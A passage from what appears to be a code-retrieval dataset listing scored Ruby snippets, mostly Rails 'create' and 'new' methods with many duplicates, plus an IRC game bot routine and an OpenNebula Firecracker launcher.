WEAPONS[1][randweapon]\n\tstarterarmor = ARMOR[1][randarmor]\n\tm.reply \"#{BOLD}-> New character created for #{BLUE}#{m.user.nick}#{CF}. Starting with [#{PURPLE}#{starterweapon['name']}#{CF} | DMG: #{PINK}1-#{starterweapon['damage']}#{CF} | ELE: #{wrapInElementColor(starterweapon['element'], starterweapon['element'])} ] and [#{PURPLE}#{starterarmor['name']}#{CF} | ARM: #{BROWN}0-#{starterarmor['armor']}#{CF} | ELE: #{wrapInElementColor(starterarmor['element'], starterarmor['element'])}]\"\nend", "title": "" }, { "docid": "215091b77e85a509d8fe133d7857731b", "score": "0.58958775", "text": "def newo(attrs = {})\n described_class.new(attrs)\n end", "title": "" }, { "docid": "215091b77e85a509d8fe133d7857731b", "score": "0.58958775", "text": "def newo(attrs = {})\n described_class.new(attrs)\n end", "title": "" }, { "docid": "722b898c0237b3bd8bc7313d9bebbebe", "score": "0.58896846", "text": "def create(name)\n object = self.new(name).tap do |object|\n #.tap allows you to do something with an object inside of a block.\n #the block returns the object itself.\n object.save\n end\n end", "title": "" }, { "docid": "fcd9f4f2bdd1abb08e4420b0bc4c05e1", "score": "0.5882722", "text": "def new\n # modu instance\n @modu = Modu.new\n end", "title": "" }, { "docid": "29353ec7289e8a3545869229d560472f", "score": "0.58813435", "text": "def create(*args)\n\t \t new(*args).send :create\n\t \tend", "title": "" }, { "docid": "85821b7c901833285eb68d70d01fd111", "score": "0.5876409", "text": "def create\n \n end", "title": "" }, { "docid": "85821b7c901833285eb68d70d01fd111", "score": "0.5876409", "text": "def create\n \n end", "title": "" }, { "docid": "85821b7c901833285eb68d70d01fd111", "score": "0.5876409", "text": "def create\n \n end", "title": "" }, { "docid": "85821b7c901833285eb68d70d01fd111", "score": "0.5876409", "text": "def create\n \n end", "title": "" }, { "docid": "23c6c536ec97644c6cc584064babd732", "score": "0.5863393", "text": "def new\n @midia = Midia.new\n\n end", "title": "" }, { "docid": "51729499ac4b70500d56eaebb1f23802", "score": "0.5856288", "text": "def new\n @creature = Creature.new\n end", "title": "" }, { "docid": "51729499ac4b70500d56eaebb1f23802", "score": "0.5856288", "text": "def new\n @creature = Creature.new\n end", "title": "" }, { "docid": "50e1bc138e9aa803cec90054ac1046bf", "score": "0.5851287", "text": "def create\n @mona = Mona.new(mona_params)\n\n respond_to do |format|\n if @mona.save\n format.html { redirect_to @mona, notice: 'Mona was successfully created.' }\n format.json { render :show, status: :created, location: @mona }\n else\n format.html { render :new }\n format.json { render json: @mona.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f73e1a4933a4d845bb36931e6c6e87c", "score": "0.584084", "text": "def new_object(*args, &block)\n model.new(*args, &block)\n end", "title": "" }, { "docid": "d669fc4496651cf138f38101e427feca", "score": "0.5826528", "text": "def new(data, type=:simple)\r\n send(\"new_#{type}\", data) \r\n end", "title": "" }, { "docid": "7e91558242347721a98c4ee17a9922c2", "score": "0.5820001", "text": "def create_model(*)\n set_timestamps\n properties = convert_properties_to :db, props\n node = _create_node(properties)\n init_on_load(node, node.props)\n # Neo4j::IdentityMap.add(node, self)\n # write_changed_relationships\n true\n end", "title": "" }, { "docid": "b5083723d897de4bdf376e3058668716", "score": "0.5818184", "text": "def create(args = {})\n model = new(args)\n model.save\n model\n end", "title": "" }, { "docid": "952f47405443defc05b74643a0e2f99b", "score": "0.5808819", "text": "def create\n @mo = Mo.new(mo_params)\n\n respond_to do |format|\n if @mo.save\n format.html { redirect_to @mo, notice: 'Mo was successfully created.' }\n format.json { render :show, status: :created, location: @mo }\n else\n format.html { render :new }\n format.json { render json: @mo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6426d5e7d6185f8790f9af0710b26b78", "score": "0.57800496", "text": "def new\n @wadoku = Wadoku.new\n end", "title": "" }, { "docid": "73fc83910cda3ab89c3bb4397171246a", "score": "0.5771436", "text": "def create\n # helps with boilerplateness\n end", "title": "" }, { "docid": "3293370df38424800b58bd240b80878a", "score": "0.5765561", "text": "def new\n \n end", "title": "" }, { "docid": "30aac724031515617620a6738358eb3c", "score": "0.5761912", "text": "def create\n @mooc = Mooc.new(params[:mooc])\n\n respond_to do |format|\n if @mooc.save\n format.html { redirect_to moocs_path, notice: 'Mooc was successfully created.' }\n format.json { render json: @mooc, status: :created, location: @mooc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mooc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc5ed2c2998fa66194ead27a9eac2824", "score": "0.57600266", "text": "def new\n # Not needed for the stand-alone simulation function for now.\n\n end", "title": "" }, { "docid": "edefb41e6036fd69564480d350745cb1", "score": "0.57557505", "text": "def new\n # Nothing to see here, atm\n end", "title": "" }, { "docid": "b5f84609f6d9ec7a2e689990ccc9aa46", "score": "0.574054", "text": "def lo_creat\n end", "title": "" }, { "docid": "e2b31d60b2b5b380040a867c381a1b70", "score": "0.57256484", "text": "def new\n \n end", "title": "" }, { "docid": "e2b31d60b2b5b380040a867c381a1b70", "score": "0.57256484", "text": "def new\n \n end", "title": "" }, { "docid": "e2b31d60b2b5b380040a867c381a1b70", "score": "0.57256484", "text": "def new\n \n end", "title": "" }, { "docid": "e2b31d60b2b5b380040a867c381a1b70", "score": "0.57256484", "text": "def new\n \n end", "title": "" }, { "docid": "7f3476a5c37e7bd95cabef803a1f3063", "score": "0.57215", "text": "def create\n @moretinymob = Moretinymob.new(params[:moretinymob])\n\n respond_to do |format|\n if @moretinymob.save\n format.html { redirect_to @moretinymob, notice: 'Moretinymob was successfully created.' }\n format.json { render json: @moretinymob, status: :created, location: @moretinymob }\n else\n format.html { render action: \"new\" }\n format.json { render json: @moretinymob.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b5ed36f142ecb2066b85b8f57651f9d", "score": "0.5700276", "text": "def new\n @medium = Medium.new\n end", "title": "" }, { "docid": "2ec3f1143d1c2ac554f7d1a11ac00077", "score": "0.56850916", "text": "def new\n @world = World.new\n end", "title": "" }, { "docid": "08bd93c6204b36b52ccc497857b9d213", "score": "0.5680476", "text": "def create\n @mon = Mon.new(mon_params)\n\n respond_to do |format|\n if @mon.save\n format.html { redirect_to @mon, notice: 'Mon was successfully created.' }\n format.json { render :show, status: :created, location: @mon }\n else\n format.html { render :new }\n format.json { render json: @mon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b57bde638b6e000e30afbab14918c2d", "score": "0.56696016", "text": "def create\n @material = Material.new\n end", "title": "" }, { "docid": "6f41dee2ce1d2af1d848df14ed6d8c82", "score": "0.5665571", "text": "def newObject\n objectClass.class.create\n end", "title": "" }, { "docid": "80e5b37354dda57fb3616a06af8ae64b", "score": "0.56628287", "text": "def create\n \n end", "title": "" }, { "docid": "cafd883555ece28bdc9b138f366c33ff", "score": "0.56621253", "text": "def make_new_entry\n Entry.new\n end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "3bcd882268911f03b8c342c03668c47b", "score": "0.56544846", "text": "def new; end", "title": "" }, { "docid": "309483818837a99ab29f5b56a1366de0", "score": "0.5653428", "text": "def create!( *args )\r\n newbie = create( *args )\r\n return nil unless newbie\r\n newbie.write!\r\n newbie\r\n end", "title": "" }, { "docid": "c5194b15addc452ee018abde5d742e08", "score": "0.56525946", "text": "def create \n#--{{{\n init_logging\n creator = Creator::new self\n creator.create\n#--}}}\n end", "title": "" }, { "docid": "a3690213953011ec7e8c279179f8120a", "score": "0.56440204", "text": "def create\n cmd = ''\n cmd_params = @one.command_params\n\n # TODO: make screen oprions configurable to support different versions\n # TODO: make screen configurable to enable use of tmux etc..\n if @one.vnc?\n cmd << \"screen -dmS #{@one.vm_name} \"\n end\n\n # Build jailer command params\n cmd << @jailer_command\n\n cmd_params['jailer'].each do |key, val|\n cmd << \" --#{key} #{val}\"\n end\n\n # Build firecracker params\n cmd << ' --'\n cmd_params['firecracker'].each do |key, val|\n cmd << \" --#{key} #{val}\"\n end\n\n # Generate files required for the microVM\n File.open(\"#{@one.location}/deployment.file\", 'w+') do |file|\n file.write(@one.to_fc)\n end\n\n File.open(@one.log_path, 'w') {}\n File.open(@one.metrics_path, 'w') {}\n\n return false unless prepare_domain\n\n return false unless map_context\n\n OpenNebula.log_debug(\"Creating VM: '#{cmd}'\")\n\n Command.execute_detach(cmd)\n end", "title": "" }, { "docid": "eaf744075b763f9cd67638ccfb025581", "score": "0.5638151", "text": "def make target, type, name, extra = {}\n target.make :new => type, :with_properties => { :name => name }.merge(extra)\n end", "title": "" }, { "docid": "eaf744075b763f9cd67638ccfb025581", "score": "0.5638151", "text": "def make target, type, name, extra = {}\n target.make :new => type, :with_properties => { :name => name }.merge(extra)\n end", "title": "" }, { "docid": "2cf3c31b781ef42ba8685037238092a1", "score": "0.5633187", "text": "def new_mpd\n @mpd = MPD.new\n @mpd.connect\n end", "title": "" }, { "docid": "b6dfb3889583e23b11105e3ec6578dca", "score": "0.56285226", "text": "def create(attrs={})\n build(attrs).tap { |m| m.save }\n end", "title": "" }, { "docid": "fe813c3e1fdaa795994fc415daa33168", "score": "0.56270504", "text": "def creator; end", "title": "" }, { "docid": "217ac9ad9e7d3226978073df29a1cb95", "score": "0.5625146", "text": "def new_model(name,template = nil)\n template_ole = template ? template.ole_obj : app.ole_obj.ActiveDesignFile.DefaultModelReference\n el = app.ole_obj.ActiveDesignFile.Models.Add(template_ole,name,\"Added \")\n m = model_from_ole(el).activate\n m\n end", "title": "" }, { "docid": "811364768844c8b404738cd9cacc55c8", "score": "0.562494", "text": "def create_model\n return if options[:existing_model]\n args = [name]\n args << \"platforms_#{concern_type}_id:integer\"\n\n # Recreate arguments\n attributes.each do |a|\n args << \"#{a.name}:#{a.type}#{a.has_index? ? \":index\" : \"\" }\"\n end\n\n # Recreate options\n options.each do |k, v|\n unless k == \"existing_model\"\n args << \"--#{k}=#{v}\"\n end\n end\n\n # Use the standard model generator\n generate \"model\", args.join(\" \")\n end", "title": "" }, { "docid": "9d479e5091ab8e45e4ca3d991c07b4a4", "score": "0.56159973", "text": "def create(attributes = {})\n model = new(attributes)\n model.save\n model\n end", "title": "" }, { "docid": "53969dca56fd3184c671683606452d3e", "score": "0.56128395", "text": "def create()\n end", "title": "" }, { "docid": "53969dca56fd3184c671683606452d3e", "score": "0.56128395", "text": "def create()\n end", "title": "" }, { "docid": "53969dca56fd3184c671683606452d3e", "score": "0.56128395", "text": "def create()\n end", "title": "" }, { "docid": "53969dca56fd3184c671683606452d3e", "score": "0.56128395", "text": "def create()\n end", "title": "" }, { "docid": "1239a6bae1a851510491bc43a29322c8", "score": "0.56113863", "text": "def create\n return if title == :original\n release\n limit = owner.class.thumbo_common[title]\n\n if limit\n create_common(limit)\n\n else\n limit = owner.class.thumbo_square[title]\n create_square(limit)\n\n end\n\n self\n end", "title": "" }, { "docid": "9c7a66c3501a5d32225efec41879ee58", "score": "0.56024575", "text": "def create\n megam_rest.post_boltdefn(to_hash)\n end", "title": "" }, { "docid": "106d981c05d10e1bc0eaeb5b8981772b", "score": "0.55988014", "text": "def create\n @momo = Momo.new(momo_params)\n\n respond_to do |format|\n if @momo.save\n format.html { redirect_to @momo, notice: 'Momo was successfully created.' }\n format.json { render :show, status: :created, location: @momo }\n else\n format.html { render :new }\n format.json { render json: @momo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a5da184cd13686887c4e667cf774e59", "score": "0.55987734", "text": "def create *args\n new(*args).create_mock\n end", "title": "" }, { "docid": "66fe98cea91c3e4573640a669a3c00e3", "score": "0.5587637", "text": "def create\n\t end", "title": "" }, { "docid": "8ec066bc5bce4fbba215466dd9eabb5c", "score": "0.5583962", "text": "def create\n unless MiGA::MiGA.initialized?\n raise 'Impossible to create project in uninitialized MiGA.'\n end\n\n dirs = [path] + @@FOLDERS.map { |d| \"#{path}/#{d}\" } +\n @@DATA_FOLDERS.map { |d| \"#{path}/data/#{d}\" }\n dirs.each { |d| Dir.mkdir(d) unless Dir.exist? d }\n @metadata = MiGA::Metadata.new(\n File.expand_path('miga.project.json', path),\n { datasets: [], name: File.basename(path) }\n )\n d_path = File.expand_path('daemon/daemon.json', path)\n File.open(d_path, 'w') { |fh| fh.puts '{}' } unless File.exist? d_path\n pull_hook :on_create\n self.load\n end", "title": "" }, { "docid": "4a4a8cd851c7d10fc309ce6a2af45bd3", "score": "0.558281", "text": "def new\n @mod = Mod.new\n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" }, { "docid": "329007458141deda5281a37a26800092", "score": "0.55784655", "text": "def new\n \n end", "title": "" } ]
1af59855ce668f26ffdf40ccdefc58f0
Override of Blacklight method, provide advanced constraints if needed, otherwise call super.
[ { "docid": "ae052ed4948c272cf0d03f37aca413ef", "score": "0.0", "text": "def render_constraints_query(my_params = params)\n if advanced_query.nil? || advanced_query.keyword_queries.empty?\n super(my_params)\n else\n content = guided_search\n safe_join(content.flatten, \"\\n\")\n end\n end", "title": "" } ]
[ { "docid": "b6bb70e33cc0233b4862ae280e4eb195", "score": "0.7086169", "text": "def constraints; end", "title": "" }, { "docid": "b6bb70e33cc0233b4862ae280e4eb195", "score": "0.7086169", "text": "def constraints; end", "title": "" }, { "docid": "b6bb70e33cc0233b4862ae280e4eb195", "score": "0.7086169", "text": "def constraints; end", "title": "" }, { "docid": "afd37e9177c6dcb28d8c19fab447055d", "score": "0.70210475", "text": "def check_constraints; end", "title": "" }, { "docid": "9e9c3bfb954f402615367421720c0520", "score": "0.6841835", "text": "def supports_deferrable_constraints?; end", "title": "" }, { "docid": "653092273af906f874cfe84317b51d66", "score": "0.6723746", "text": "def def_constraints()\n yield\n end", "title": "" }, { "docid": "9b7f311d84a8facf70d531c471101b41", "score": "0.6654028", "text": "def initialize(*args)\n super\n set_constraint\n assert_valid_constraint\n end", "title": "" }, { "docid": "aa7413d8f60c5b69766b6d37c06f0f59", "score": "0.6508393", "text": "def supports_check_constraints?; end", "title": "" }, { "docid": "2625d3f64ac73428d4ed838ab4ae991e", "score": "0.6281432", "text": "def constraints() return @constraints end", "title": "" }, { "docid": "a62f97962cc605e49b2542fbd991c287", "score": "0.6279344", "text": "def supports_validate_constraints?; end", "title": "" }, { "docid": "cd397fe0d2a297b35ca566fabd65537b", "score": "0.62108505", "text": "def bounds() abstract end", "title": "" }, { "docid": "64953b90fac824ecf438eb1af7e40398", "score": "0.6121919", "text": "def bounds() abstract end", "title": "" }, { "docid": "faefa5964b6ef7977a8e9c5819c0684a", "score": "0.6042597", "text": "def initialize\n @constraints = {}\n end", "title": "" }, { "docid": "8c8a160b381493a17e0efe34805f50ea", "score": "0.6038669", "text": "def constraints(_)\n nil\n end", "title": "" }, { "docid": "8c8a160b381493a17e0efe34805f50ea", "score": "0.6038669", "text": "def constraints(_)\n nil\n end", "title": "" }, { "docid": "d3353a07f8856908571295bc242d060e", "score": "0.59785837", "text": "def constraint_validations; end", "title": "" }, { "docid": "5f28c94dbedd6d16ebabef1e02eb5ee1", "score": "0.59743756", "text": "def constraint\n return Object\n end", "title": "" }, { "docid": "f868983beeebe89d2ecbfc0537c27c31", "score": "0.5953168", "text": "def build_default_constraint; end", "title": "" }, { "docid": "aecf446ecadebc401c2a4be27b3d1844", "score": "0.59396124", "text": "def new\n\t\tconstrain = MethodConstraint.new\n\tend", "title": "" }, { "docid": "c15d299bf5079a9d1883ab8ff7697dac", "score": "0.5936926", "text": "def supports_deferrable_constraints?\n true\n end", "title": "" }, { "docid": "314dc236cd4388e2591ac60de37e1f9a", "score": "0.5930058", "text": "def check_constraint_adds; end", "title": "" }, { "docid": "3efb9d5a26a879c0032f78805f592c59", "score": "0.5909114", "text": "def check_constraint_drops; end", "title": "" }, { "docid": "bc8c8f54b0c120330fba26073918cca8", "score": "0.58390856", "text": "def restrictions(*_args)\n base_restrictions\n end", "title": "" }, { "docid": "5ed7ae5f8b658607e3fd083f1ea01a69", "score": "0.5824697", "text": "def constraint_applicator\r\n \r\nend", "title": "" }, { "docid": "a67c8aefa80f5367822530a6ee72a3df", "score": "0.5816531", "text": "def requirements; end", "title": "" }, { "docid": "a67c8aefa80f5367822530a6ee72a3df", "score": "0.5816531", "text": "def requirements; end", "title": "" }, { "docid": "d725ec40342b7feb79075cd095413efe", "score": "0.575425", "text": "def constraint\n @constraint\n end", "title": "" }, { "docid": "c426acd3d974cb81023480688f67c642", "score": "0.574242", "text": "def parameter_rule?; end", "title": "" }, { "docid": "9c2bf83f0f971bf1017f60b4617e144a", "score": "0.570676", "text": "def constraint(*args)\n add_constraint(*args)\n end", "title": "" }, { "docid": "1edf63fdd312040cadfa38ce196bb6c4", "score": "0.569611", "text": "def add_constraint(constraint); end", "title": "" }, { "docid": "9d72d05fe697106d47b4d9738658e8da", "score": "0.5688404", "text": "def constraint\n @constraint ||= options[:metadata].constraint\n end", "title": "" }, { "docid": "a151257e588957418d588c2f0b54e187", "score": "0.5668236", "text": "def render_constraints(localized_params = params)\n super + render_constraints_begins_with(localized_params)\n end", "title": "" }, { "docid": "58ea60649d912d339ef8db581eebd80e", "score": "0.5581818", "text": "def check(*args, &block)\n constraint(nil, *args, &block)\n end", "title": "" }, { "docid": "a3e25850ed08e449573bc963181309c6", "score": "0.5567527", "text": "def constrain( constraints )\n return self if constraints.empty?\n \n constraints[:base_type] = self\n UserDefinedType.new(constraints)\n end", "title": "" }, { "docid": "550cd967f7e0b51604744fecefb1adbd", "score": "0.55562454", "text": "def required; end", "title": "" }, { "docid": "550cd967f7e0b51604744fecefb1adbd", "score": "0.55562454", "text": "def required; end", "title": "" }, { "docid": "550cd967f7e0b51604744fecefb1adbd", "score": "0.55562454", "text": "def required; end", "title": "" }, { "docid": "550cd967f7e0b51604744fecefb1adbd", "score": "0.55562454", "text": "def required; end", "title": "" }, { "docid": "98e6e449fef7707126e52f23521ef959", "score": "0.55154085", "text": "def render_constraints(localized_params = params)\n render_mlt_query(localized_params) + super\n end", "title": "" }, { "docid": "4c420b1c1783073e90994b1c12161641", "score": "0.54882646", "text": "def constrain property = nil, constraints = {}, &block\n if property.is_a?(Hash) && empty_constraints?(constraints)\n constraints = property\n property = nil\n end # if\n\n require_constraints(constraints) unless block_given?\n\n build_constraints(property, constraints)\n\n return unless block_given?\n\n child = build_contract\n child.instance_exec(&block)\n\n add_constraint child, :negated => false, :on => property\n end", "title": "" }, { "docid": "148eab3dc1a725ec8a5b1c437310c9af", "score": "0.54725105", "text": "def addToGraph\n super\n @scale.addConstraint(self)\n @offset.addConstraint(self)\n end", "title": "" }, { "docid": "0b3a90ecbdb3a37372ba7f1bb2123154", "score": "0.5468029", "text": "def validate(params, *args)\n super(params, @model, *args)\n end", "title": "" }, { "docid": "866e875da33a6af12145c92487bdc616", "score": "0.54623276", "text": "def apply!\n prepare_constraints_for_policies\n end", "title": "" }, { "docid": "991959cf19be9b7464bbdf120026e730", "score": "0.54606235", "text": "def validate_basic_constraints(constraints)\n if constraints.nil? || !constraints.respond_to?(:has_key?) || !constraints.key?(:ca)\n raise ArgumentError, \"You must supply a hash with a key named :ca with a boolean value\"\n end\n if constraints[:ca].nil? || (!constraints[:ca].is_a?(TrueClass) && !constraints[:ca].is_a?(FalseClass))\n raise ArgumentError, \"You must supply true/false for the :ca key when specifying basic constraints\"\n end\n if constraints[:ca] == false && constraints[:path_length]\n raise ArgumentError, \":path_length is not allowed when :ca is false\"\n end\n if constraints[:ca] == true && constraints[:path_length] && (constraints[:path_length] < 0 || !constraints[:path_length].is_a?(Integer))\n raise ArgumentError, \"Path length must be a positive integer (>= 0)\"\n end\n constraints\n end", "title": "" }, { "docid": "511b90bd8a6d113ee53d738dd7fc04f5", "score": "0.5448767", "text": "def validate!\n super()\n end", "title": "" }, { "docid": "a3b7b3ae607b94c55a9ee7878b528dba", "score": "0.5446466", "text": "def bounds; end", "title": "" }, { "docid": "7536e17370e568418e1eb8f1fad823fe", "score": "0.5440221", "text": "def allow; end", "title": "" }, { "docid": "7536e17370e568418e1eb8f1fad823fe", "score": "0.5440221", "text": "def allow; end", "title": "" }, { "docid": "e106fb3bed049b9679ca76cd4a38a89b", "score": "0.5432335", "text": "def with(*args)\n add_restriction(false, *args)\n end", "title": "" }, { "docid": "689ff0467a5987fe0c07ca89715c8755", "score": "0.5425592", "text": "def method_missing(name, *args, &block)\n \n optimisation = optimisation? name\n if optimisation\n @validator.valid = true\n return optimisation \n else\n super\n end\n end", "title": "" }, { "docid": "0a2f3825b1c921c55f00b35958cebba3", "score": "0.54165465", "text": "def validate(params, model=self.model, *args)\n super(params, model, *args)\n end", "title": "" }, { "docid": "106c42c36100d9ac101be2eabdce9ebd", "score": "0.53999513", "text": "def initialize(*args, &block)\n constrained_keys.update(self.class.constrained_keys)\n super\n end", "title": "" }, { "docid": "b5ff02a019e14fdc12ac83b1b640a755", "score": "0.5396663", "text": "def constraints\n @constraints ||= {}\n end", "title": "" }, { "docid": "ea442ce835804072a1f1f1b4c9e5ddcd", "score": "0.53809506", "text": "def initialize constraints = {}\n self.queue_constraints = { context: 'all', capacity: 2, taken: 0, entry_time: 180, auto_clean: true }.merge(constraints)\n end", "title": "" }, { "docid": "15a4d11761fd0ac9a0c506835b8f0b58", "score": "0.5351311", "text": "def check_constraints(table_name)\n raise NotImplementedError\n end", "title": "" }, { "docid": "f2f548c11777bfc2b2499c6f601debcf", "score": "0.53485554", "text": "def constraint\n @constraint ||= metadata.constraint\n end", "title": "" }, { "docid": "15140b955969aafde1c96a72f15d1735", "score": "0.53409934", "text": "def constraint\n @constraint ||= Constraint.new(self)\n end", "title": "" }, { "docid": "725e742d3447b7c631ec37dd8f19eeda", "score": "0.53334695", "text": "def restriction(&block)\n RestrictionDSL.new(self).call(&block)\n end", "title": "" }, { "docid": "adb3fb171a85ffeb8d522973dbaa15e1", "score": "0.5318723", "text": "def weight\n super\n end", "title": "" }, { "docid": "0157219f779d3fc0729f529810cea0fb", "score": "0.53184044", "text": "def validate\n super\n end", "title": "" }, { "docid": "305c0b4726e985b2877caf9de7c83721", "score": "0.5310766", "text": "def define_resource_requirements\n super unless detect_gs\n end", "title": "" }, { "docid": "305c0b4726e985b2877caf9de7c83721", "score": "0.5310766", "text": "def define_resource_requirements\n super unless detect_gs\n end", "title": "" }, { "docid": "67081eb3c98dc9ab87bd978f73a10e81", "score": "0.53051007", "text": "def advanced; end", "title": "" }, { "docid": "67081eb3c98dc9ab87bd978f73a10e81", "score": "0.53051007", "text": "def advanced; end", "title": "" }, { "docid": "8b4ec8910a93930fb02d4acf9b2e10a8", "score": "0.5302327", "text": "def behind_nat\n super\n end", "title": "" }, { "docid": "96e5567caa1c403db46939bd6fa61fd4", "score": "0.5301229", "text": "def freeze\n self.valid?\n super\n end", "title": "" }, { "docid": "79af94fcfae36c54b2cc49782656e886", "score": "0.52987653", "text": "def render_constraint_element(label, value, options = {})\n if params[:bbox]\n value = nil if label == t(\"geoblacklight.bbox_label\")\n end\n super(label, value, options)\n end", "title": "" }, { "docid": "796d10daf105cb06c15c156464e97904", "score": "0.529589", "text": "def access_restrictions; end", "title": "" }, { "docid": "2cf40765a00c244769f801a2a89edbe9", "score": "0.5294688", "text": "def additional_validation!(args)\n end", "title": "" }, { "docid": "a5c57c46b46b63e5634545fc824d78b9", "score": "0.5280869", "text": "def initialize\n initialize_constraints\n @constraints = constraint_list # private method creating the list\n @constraints.each(&:freeze) # freeze the constraints\n @constraints.freeze # freeze the constraint list\n end", "title": "" }, { "docid": "057564e411740f962afeab83b754649b", "score": "0.5270927", "text": "def permit_rules\n end", "title": "" }, { "docid": "40ed42eb2fe51149242d70465deb13a5", "score": "0.5247946", "text": "def validate\n fail 'sub class to implement'\n end", "title": "" }, { "docid": "40ed42eb2fe51149242d70465deb13a5", "score": "0.5247946", "text": "def validate\n fail 'sub class to implement'\n end", "title": "" }, { "docid": "40ed42eb2fe51149242d70465deb13a5", "score": "0.5247946", "text": "def validate\n fail 'sub class to implement'\n end", "title": "" }, { "docid": "40ed42eb2fe51149242d70465deb13a5", "score": "0.5247946", "text": "def validate\n fail 'sub class to implement'\n end", "title": "" }, { "docid": "8b608597e4f8cb342968a26900959e68", "score": "0.52410376", "text": "def extended?; end", "title": "" }, { "docid": "95ec8e17d25dd093a4c6d39c825ee874", "score": "0.5238892", "text": "def add_constraints(c)\n raise ArgumentError, \"This algorithm accepts only linear constraint\" unless c.is_a? LinearConstraintFunction\n super c.to_equality\n end", "title": "" }, { "docid": "1bf629d2aa16f86d95b393b9cc980321", "score": "0.52249354", "text": "def validateable?; end", "title": "" }, { "docid": "1bf629d2aa16f86d95b393b9cc980321", "score": "0.52249354", "text": "def validateable?; end", "title": "" }, { "docid": "de3906d3e2f90427f97f5ed8ad540afc", "score": "0.52234", "text": "def required?; false end", "title": "" }, { "docid": "af4cbd5917f3525a2a50643a2fe44efc", "score": "0.5218598", "text": "def bounds\n end", "title": "" }, { "docid": "004a9bcf127b99973634b836fbd6a0bd", "score": "0.52118975", "text": "def validate\n super\n end", "title": "" }, { "docid": "004a9bcf127b99973634b836fbd6a0bd", "score": "0.52118975", "text": "def validate\n super\n end", "title": "" }, { "docid": "004a9bcf127b99973634b836fbd6a0bd", "score": "0.52118975", "text": "def validate\n super\n end", "title": "" }, { "docid": "4613128c4177dd455cc5567323632614", "score": "0.52024907", "text": "def constraints\n @psi = PlanStageInstance.find(params[:plan_stage_instance_id])\n @constraints_by_type = @psi.constraints_by_type\n @constrainable_type = params[:constrainable_type]\n @plan = find_plan\n render :layout => false\n end", "title": "" }, { "docid": "ac376300f000603568c56235135951a3", "score": "0.5198017", "text": "def viable?; end", "title": "" }, { "docid": "ac376300f000603568c56235135951a3", "score": "0.5198017", "text": "def viable?; end", "title": "" }, { "docid": "ac9ee4121a1546c6a7ad6b006e0fa06e", "score": "0.51867366", "text": "def apply\n\t\tsuper\n\tend", "title": "" }, { "docid": "b6b2bcc0062aeb115edab7b10cbe6930", "score": "0.51863354", "text": "def desired; end", "title": "" }, { "docid": "b590317aaf1d946ece6135d07b73b124", "score": "0.51595896", "text": "def permit_rules\n end", "title": "" }, { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.5152411", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "094cae2a77f3def05726eb7961449324", "score": "0.51499397", "text": "def allowed; end", "title": "" }, { "docid": "36da31585a6c69de21ce0a12cbaca4e8", "score": "0.51460475", "text": "def cap(how)\n # returns self\n throw NotImplementedError\n end", "title": "" }, { "docid": "5a00af6c1c2ddaa2801d724d43edc78f", "score": "0.514303", "text": "def apply\n raise Exception, 'Must be implemented in a subclass'\n end", "title": "" }, { "docid": "de54148a459f4ed5058f27e885c8f9fb", "score": "0.5139902", "text": "def required\n raise NotImplementedError, 'required method must be implemented'\n end", "title": "" }, { "docid": "e75fd357bf392b9a3678d42f05f06e46", "score": "0.51388204", "text": "def build_constraint_with_custom(reflection, table, key, foreign_table, foreign_key)\n case reflection.source_macro\n when :has_one_custom, :has_many_custom\n\t\t return DummyConstraint unless reflection.klass.finder_needs_type_condition?\n\t\t reflection.klass.send(:type_condition, table)\n else\n build_constraint_without_custom(reflection, table, key, foreign_table, foreign_key)\n end\n\t end", "title": "" }, { "docid": "cb0975526ae65b1ca57c9ed3042cb02a", "score": "0.51345044", "text": "def method_missing(method, *args, &block)\n prefix, *predicate = 